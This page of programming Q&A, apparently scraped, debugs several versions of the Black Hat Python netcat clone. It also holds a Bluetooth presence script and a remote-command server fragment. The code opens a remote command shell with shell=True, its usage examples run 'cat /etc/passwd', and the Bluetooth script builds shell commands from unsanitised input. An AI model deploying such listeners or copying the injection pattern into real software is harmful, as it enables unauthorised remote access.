This question is a follow-up of this topic.
The OP was very likely encountering "Connection Refused". I'm facing it now with the same
code:
#!/usr/bin/env python3
import sys, socket, subprocess, threading, getopt
listen = False
upload = False
command = False
execute = ''
target = ''
upload_dest = ''
port = 0
USAGE = '''
BHP Net Tool
Usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming
connections
-e --execute=file_to_run - execute the given file upon receiving
a connection
-c --command - initialize a command shell
-u --upload=destination - upon receiving connection upload a file
and write to [destination]
Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"
echo "ABCDEF" | ./bhpnet.py -t 192.168.11.12 -p 135
'''
def usage():
print(USAGE)
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_dest
global target
if not len(sys.argv[1:]):
usage()
try:
opts, args = getopt.getopt(sys.argv[1:], 'hle:t:p:cu:',['help','listen',
'execute','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ('-h', '--help'):
usage()
elif o in ('-l', '--listen'):
listen = True
elif o in ('-e', '--execute'):
execute = a
elif o in ('-c', '--commandshell'):
command = True
elif o in ('-u', '--upload'):
upload_dest = a
elif o in ('-t', '--target'):
target = a
elif o in ('-p', '--port'):
port = int(a)
else:
assert False, 'Unhandled Option'
if not listen and len(target) and port > 0:
buffer = sys.stdin.read()
client_sender(buffer)
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ''
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
buffer = input('')
buffer += '\n'
client.send(buffer)
except Exception as e:
print(e) # here it prints out "Connection Refused"
print('[*] Exception ! Exiting ...')
client.close()
def server_loop():
global target
if not len(target):
target = '0.0.0.0'
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = 'Failed to execute command.\r\n'
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_dest):
file_buffer = ''
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
with open(upload_dest, 'wb') as file_descriptor:
file_descriptor.write(file_buffer)
client_socket.send(b'Successfully saved file to {}.'.format(upload_dest))
except:
client_socket.send(b'Failed to save file to {}'.format(upload_dest))
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send(b'<BHP:#> ')
cmd_buffer = ''
while '\n' not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)
main()
I'd like to ask more experienced network professsional why it could possibly throw "Connection Refused" if the port 9999 is open and firewall isn't blocking it ?
Running it like this:
server-side: ./netcat_repl.py -l -p 9999 -c
client-side: ./netcat_repl.py -t localhost -p 9999
Related
I tested below code with kali and ubuntu and am getting the same error where CTRL-D is not recognized as EOF, this is following the book black hat python 2nd edition,
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target=self.handle, args=(client_socket,)
)
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(
description='BHP Net Tool',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
commands run were
python netcat.py -t 192.168.1.203 -p 5555 -l -c
and
python netcat.py -t 192.168.1.203 -p 5555
CTRL-D doesn't work for above command when I try to run it, I've tried with kali and ubuntu to see if it was an OS error
I'm new to Python and the socket library, and the book I'm reading is called Black Hat Python. There's an exercise in the book that requires the reader to essentially glue together (or re-write) pieces of code in order to create a Netcat clone. I believe I have successfully done this, as I can run the command "python3 netcat.py --help" without any issues. However, when I try to run the command "python3 netcat.py -t 192.168.0.58 -p 5555 -c -l", I'm given this: AttributeError: 'NetCat' object has no attribute 'run'
How do I fix this?
Here's the code:
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print("User terminated.")
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(target=self.handle,args=(client_socket,))
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = ''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'Server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter,epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
This looks like an indentation error. The only method that currently belongs to the class NetCat is __init__. The methods below it, starting with run(self) do not have the same indentation as the __init__ so they don't "belong" to the class NetCat.
Indentation is extremely important in python. It specifies so-called code blocks. If you put the definition for the method run on the same indentation level as the method __init__, then the method run will "belong" to the class NetCat.
On a side note, it is standard to indent with 4 spaces in python. I highly advise you to follow this standard ASAP, as habits are easy to learn but hard to break. I suggest to use a proper code editor like Visual Studio Code or even Notepad++ as they auto-indent when appropriate.
==============================================
EDIT:
I've indented the code in such a way that it should work. Note the difference in indentation for all the methods starting from run. Since they are now in the code block for the class NetCat, they "belong" to this class. I cannot overstate how important indentation is in python. It is one of the core concepts of python, and knowing what it does and how it behaves is absolutely necessary if you want to write any code in python.
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strip()
if not cmd:
return
output = subprocess.check_output(
shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print("User terminated.")
self.socket.close()
sys.exit()
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target=self.handle, args=(client_socket,))
client_thread.start()
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output.encode())
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = ''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'Server killed {e}')
self.socket.close()
sys.exit()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Net Tool', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
'''))
parser.add_argument('-c', '--command', action='store_true',
help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int,
default=5555, help='specified port')
parser.add_argument(
'-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
I'm struggling to gracefully close a script when the clients send the "stop" command.
As the script is wrote, it actually exit with the following error:
Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python3.5/threading.py", line 914, in _bootstrap_inner
self.run()
File "/usr/lib/python3.5/threading.py", line 862, in run
self._target(*self._args, **self._kwargs)
File "server.py", line 248, in start_server
conn, addr = soc.accept()
File "/usr/lib/python3.5/socket.py", line 195, in accept
fd, addr = self._accept()
OSError: [Errno 22] Invalid argument
Any suggestion?
#!/usr/bin/python3
#################################################################################
# BLE PRESENCE FOR DOMOTICZ #
# #
# AUTHOR: MARCO BAGLIVO (ITALY) (https://github.com/mydomo) #
# #
#################################################################################
# BLE_SCAN LIBRARY IS A FORK OF https://github.com/flyinactor91/RasPi-iBeacons #
#################################################################################
#################################################################################
# INSTALL REQUIREMENTS ON UBUNTU SERVER 16.04: #
# #
# sudo apt-get install -y libbluetooth-dev bluez #
# sudo apt-get install python-dev python3-dev python3-setuptools python3-pip #
# sudo pip3 install pybluez #
# #
#################################################################################
import socket
from lib import ble_scan
from threading import Thread
import sys
import os
import time
import bluetooth._bluetooth as bluez
import signal
import subprocess
from collections import OrderedDict
##########- CONFIGURE SCRIPT -##########
socket_ip = '0.0.0.0'
socket_port = 12345
min_inval_between_batt_level_readings = 3600
##########- CONFIGURE TRANSLATIONS -##########
lang_SCAN_STOPPED = 'Scanning stopped by other function'
lang_READING_LOCK = 'Reading in progress...'
lang_READING_START = 'Reading started'
##########- START VARIABLE INITIALIZATION -##########
mode = ''
beacons_detected = ''
batt_lev_detected = ''
scan_beacon_data = True
ble_value = ''
devices_to_analize = {}
batt_lev_detected = {}
read_value_lock = False
##########- END VARIABLE INITIALIZATION -##########
##########- START FUNCTION THAT HANDLE CLIENT INPUT -##########
def socket_input_process(input_string):
global mode
global devices_to_analize
global lang_SCAN_STOPPED
global lang_READING_LOCK
global lang_READING_START
###- TRANSMIT BEACON DATA -###
# check if client requested "beacon_data"
if input_string == 'beacon_data':
# if beacon scanning function has being stopped in order to process one other request (ex.: battery level) warn the client
if scan_beacon_data == False:
return str(lang_SCAN_STOPPED)
# if beacon scanning function is active send the data to the client
if scan_beacon_data == True:
# set operative mode to beacon_data
mode = 'beacon_data'
# return beacons_detected ordered by timestamp ASC (tnx to: JkShaw - http://stackoverflow.com/questions/43715921/python3-ordering-a-complex-dict)
# return "just" the last 300 results to prevent the end of the socket buffer (each beacon data is about 45 bytes)
return str(sorted(beacons_detected.items(), key=lambda x: x[1][1], reverse=True)[:300])
###- TRANSMIT BATTERY LEVEL -###
# check if the request start with battery_level:
if input_string.startswith('battery_level:'):
# trim "battery_level:" from the request
string_devices_to_analize = input_string.replace("battery_level: ", "")
# split each MAC address in a list in order to be processed
devices_to_analize = string_devices_to_analize.split(',')
# set operative mode to battery_level
mode = 'battery_level'
# if the reading has already requested and there is no result ask to wait
if not batt_lev_detected and read_value_lock == True:
return str(lang_READING_LOCK)
# if the reading is requested for the first time start say that will start
elif not batt_lev_detected and read_value_lock == False:
return str(lang_READING_START)
# if is present a battery data send it
else:
return str(batt_lev_detected)
###- STOP RUNNING SERVICES -###
if input_string == 'stop':
killer.kill_now = True
print ('service stopping')
return str('Service stopping')
##########- END FUNCTION THAT HANDLE CLIENT INPUT -##########
##########- START FUNCTION THAT HANDLE SOCKET'S TRANSMISSION -##########
def client_thread(conn, ip, port, MAX_BUFFER_SIZE = 32768):
# the input is in bytes, so decode it
input_from_client_bytes = conn.recv(MAX_BUFFER_SIZE)
# MAX_BUFFER_SIZE is how big the message can be
# this is test if it's too big
siz = sys.getsizeof(input_from_client_bytes)
if siz >= MAX_BUFFER_SIZE:
print("The length of input is probably too long: {}".format(siz))
# decode input and strip the end of line
input_from_client = input_from_client_bytes.decode("utf8").rstrip()
res = socket_input_process(input_from_client)
#print("Result of processing {} is: {}".format(input_from_client, res))
vysl = res.encode("utf8") # encode the result string
conn.sendall(vysl) # send it to client
conn.close() # close connection
##########- END FUNCTION THAT HANDLE SOCKET'S TRANSMISSION -##########
def usb_dongle_reset():
process0 = subprocess.Popen("sudo hciconfig hci0 down", stdout=subprocess.PIPE, shell=True)
process0.communicate()
process1 = subprocess.Popen("sudo hciconfig hci0 reset", stdout=subprocess.PIPE, shell=True)
process1.communicate()
process2 = subprocess.Popen("sudo /etc/init.d/bluetooth restart", stdout=subprocess.PIPE, shell=True)
process2.communicate()
process3 = subprocess.Popen("sudo hciconfig hci0 up", stdout=subprocess.PIPE, shell=True)
process3.communicate()
def ble_scanner():
global beacons_detected
dev_id = 0
usb_dongle_reset()
try:
sock = bluez.hci_open_dev(dev_id)
#print ("ble thread started")
except:
print ("error accessing bluetooth device... restart in progress!")
usb_dongle_reset()
ble_scan.hci_le_set_scan_parameters(sock)
ble_scan.hci_enable_le_scan(sock)
beacons_detected = {}
while (scan_beacon_data == True) and (not killer.kill_now):
try:
returnedList = ble_scan.parse_events(sock, 25)
for beacon in returnedList:
MAC, RSSI, LASTSEEN = beacon.split(',')
beacons_detected[MAC] = [RSSI,LASTSEEN]
time.sleep(1)
except:
print ("failed restarting device... let's try again!")
usb_dongle_reset()
dev_id = 0
sock = bluez.hci_open_dev(dev_id)
ble_scan.hci_le_set_scan_parameters(sock)
ble_scan.hci_enable_le_scan(sock)
time.sleep(1)
def read_battery_level():
global scan_beacon_data
global mode
global batt_lev_detected
global read_value_lock
global min_inval_between_batt_level_readings
uuid_to_check = '0x2a19'
time_difference = 0
while (not killer.kill_now):
if mode == 'battery_level' and read_value_lock == False:
read_value_lock = True
#print ("Dispositivi da analizzare: " + str(devices_to_analize))
for device in devices_to_analize:
device_to_connect = device
#print ("Analizzo dispositivo: " + str(device))
# i'm reading the value stored
battery_level_moderator = str(batt_lev_detected.get(device, "Never"))
# cleaning the value stored
cleaned_battery_level_moderator = str(battery_level_moderator.replace("[", "").replace("]", "").replace(" ", "").replace("'", ""))
# assign the battery level and the timestamp to different variables
if cleaned_battery_level_moderator != "Never":
stored_batterylevel, stored_timestamp = cleaned_battery_level_moderator.split(',')
time_difference = int(time.time()) - int(stored_timestamp)
if (int(min_inval_between_batt_level_readings) <= int(time_difference)) or (str(cleaned_battery_level_moderator) == "Never") or (str(stored_batterylevel) == '255'):
scan_beacon_data = False
usb_dongle_reset()
#PUT HERE THE CODE TO READ THE BATTERY LEVEL
try:
handle_ble = os.popen("sudo hcitool lecc --random " + device_to_connect + " | awk '{print $3}'").read()
handle_ble_connect = os.popen("sudo hcitool ledc " + handle_ble).read()
#ble_value = int(os.popen("sudo gatttool -t random --char-read --uuid " + uuid_to_check + " -b " + device_to_connect + " | awk '{print $4}'").read() ,16)
ble_value = os.popen("sudo gatttool -t random --char-read --uuid " + uuid_to_check + " -b " + device_to_connect + " | awk '{print $4}'").read()
except:
ble_value = 'nd'
if ble_value != '':
ble_value = int(ble_value ,16)
if ble_value == '':
ble_value = '255'
time_checked = str(int(time.time()))
batt_lev_detected[device] = [ble_value,time_checked]
read_value_lock = False
#print (batt_lev_detected)
#AS SOON AS IT FINISH RESTART THE scan_beacon_data PROCESS
scan_beacon_data = True
mode = 'beacon_data'
Thread(target=ble_scanner).start()
time.sleep(1)
def start_server():
global soc
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# this is for easy starting/killing the app
soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
#print('Socket created')
try:
soc.bind((socket_ip, socket_port))
# print('Socket bind complete')
except socket.error as msg:
# print('Bind failed. Error : ' + str(sys.exc_info()))
sys.exit()
#Start listening on socket
soc.listen(10)
#print('Socket now listening')
# for handling task in separate jobs we need threading
#from threading import Thread
# this will make an infinite loop needed for
# not reseting server for every client
while (not killer.kill_now):
conn, addr = soc.accept()
ip, port = str(addr[0]), str(addr[1])
#print('Accepting connection from ' + ip + ':' + port)
try:
Thread(target=client_thread, args=(conn, ip, port)).start()
except:
print("Terible error!")
import traceback
traceback.print_exc()
soc.close()
def kill_socket():
global soc
global kill_now
kill_socket_switch = False
while (not kill_socket_switch):
if killer.kill_now:
print ("KILL_SOCKET PROVA A CHIUDERE IL SOCKET")
time.sleep(1)
soc.shutdown(socket.SHUT_RDWR)
soc.close()
kill_socket_switch = True
time.sleep(1)
### MAIN PROGRAM ###
class GracefulKiller:
kill_now = False
def __init__(self):
signal.signal(signal.SIGINT, self.exit_gracefully)
signal.signal(signal.SIGTERM, self.exit_gracefully)
def exit_gracefully(self,signum, frame):
global soc
self.kill_now = True
print ('Program stopping...')
if __name__ == '__main__':
killer = GracefulKiller()
Thread(target=start_server).start()
Thread(target=ble_scanner).start()
Thread(target=read_battery_level).start()
Thread(target=kill_socket).start()
# print ("End of the program. I was killed gracefully :)")
I am playing around with a little netcat tool of my own, but I keep getting "Connection refused" and a reference to a specific line, I've highlighted that below.
First I run the server, with the following command:
python Netstatx.py -l -p 9999 -c
Then I run the "client" which tries to make a connection to the server, which is listening on port 9999:
python Netstatx.py -t localhost -p 9999
As mentioned, the above gives me an "Connected refused"-exception, how come?
import sys
import socket
import getopt
import threading
import subprocess
# Define globals
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Netstatx - Net Tool for your convenience"
print
print "Usage: Netstatx.py -t target_host -p port"
print "-l --listen - Listen on [host]:[port] for
incoming connections"
print "-e --execute=file_to_run - Execute the given file upon
receiving a connection"
print "-c --command - Initialize a command shell"
print "-u --upload=destination - Upon receiving connection,
upload a file and write to
[destination]"
print
print
print "Examples: "
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -c"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -u=\\target.exe"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
sys.exit(0)
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "%s:%s" % (target, port)
# Connect to our target host
**client.connect((target, port))** <-- This is failing.
if len(buffer):
client.send(buffer)
while True:
# Now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
# Wait for more input
buffer = raw_input("")
buffer += "\n"
# Send it off
client.send(buffer)
def server_loop():
global target
# If no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# Spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# Read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help","listen","execute","target","port","command",
"upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled option!"
# Are we going to listen or just send data?
# if not listen and len(target) and port > 0
# Read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# Send data off
client_sender(buffer)
# We are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
def run_command(command):
# trim the newline
command = command.rstrip()
# Run the command and get the output back
try:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command. \r\n"
# Send the output back to the client return output
return output
def client_handler(client_socket):
global upload
global execute
global command
# Check for upload
if len(upload_destination):
# Read on all of the bytes and write to our destination
file_buffer = ""
# Keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# Now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# Acknowledge that we rote the file out
client_socket.send("Successfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# Check for command execution
if len(execute):
# Run the command
output = run_command(execute)
client_socket.send(output)
# Now we go into another loop if a command shell was requested
if command:
while True:
# Show a simple prompt
client_socket.send("<Netstatx:#> ")
# Now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# Send back the command output
response = run_command(cmd_buffer)
# Send back the response
client_socket.send(response)
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Net Tool"
print
print "Usage : netcat.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection "
print "-c --command -intialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print
print "Examples : "
print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEEGHI' | ./netcat.py -t 192.168.11.12 -p 135"
sys.exit(0)
def run_command(command):
#trim the newline
command= command.rstrip()
#run the command get the output back
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
#send the output back to the client
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all of the bytes and write to our destination
file_buffer= ""
#keep reading data until none is available
while True:
data= client.socket.recv(1024)
if not data:
break
else:
file_buffer += data
#now we take these bytes and try to write them out
try:
file_descriptor=open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#aknowledg that we wrote the file out
client_socket.send("Successfully saved file to %s \r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s \r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
def client_sender(buffer):
client= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
#now wait for data back
recv_len=1
response=""
while recv_len:
data = client.recv(4096)
recv_len= len(data)
response+=data
if recv_len<4096:
break
print response,
#wait for more input
buffer = raw_input("")
buffer+= "\n"
# send it off
client.send(buffer)
except:
print "[*] Exception! Exiting."
client.close()
def server_loop():
global target
#if no target is defined , we listen on all interfaces
if not len(target):
target ="0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off a thread to handl our new client
client_thread= threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e", "--execute"):
execute =a
elif o in ("-c", "--commandshell"):
command= True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target =a
elif o in ("-p", "--port"):
port=int(a)
else :
assert False, "unhandled option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port> 0 :
#read in the buffer from the cmdline
#this will block, so send CTRL-D if not sending input
#to stdin
buffer = sys.stdin.read()
client_sender(buffer)
#we are goin to listen and potentially
#upload things, execute commands, and drop a shell back
#depending on our command line options above
if listen :
server_loop()
main()
I found some syntax errors running out your script ( it may be just from copy past), any way i did my small edits and it's working (knowing i'm under linux)
Your problem may be the firewall is refusing connection on that port, try to check it out
I am trying to remotely change the cwd via socket lib on existing client, but I am running into the trouble every time I send the actual command "cd ..".
Server:
import socket, subprocess, os, sys
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.bind((ip,port))
s.listen(5)
c, a = s.accept()
fr = c.recv(10000)
cwd = fr
print("IP: "+str(a[0])+":"+str(a[1])+"\tCONNECTED")
while True:
cmd = raw_input("\n"+cwd+"> ")
if cmd != "":
c.sendall(cmd)
data = c.recv(1024)
print("\n"+data)
if cmd == "cd ..":
c.sendall(cmd)
cwd = c.recv(1024)
Client:
import socket, subprocess, os, sys
i = 1
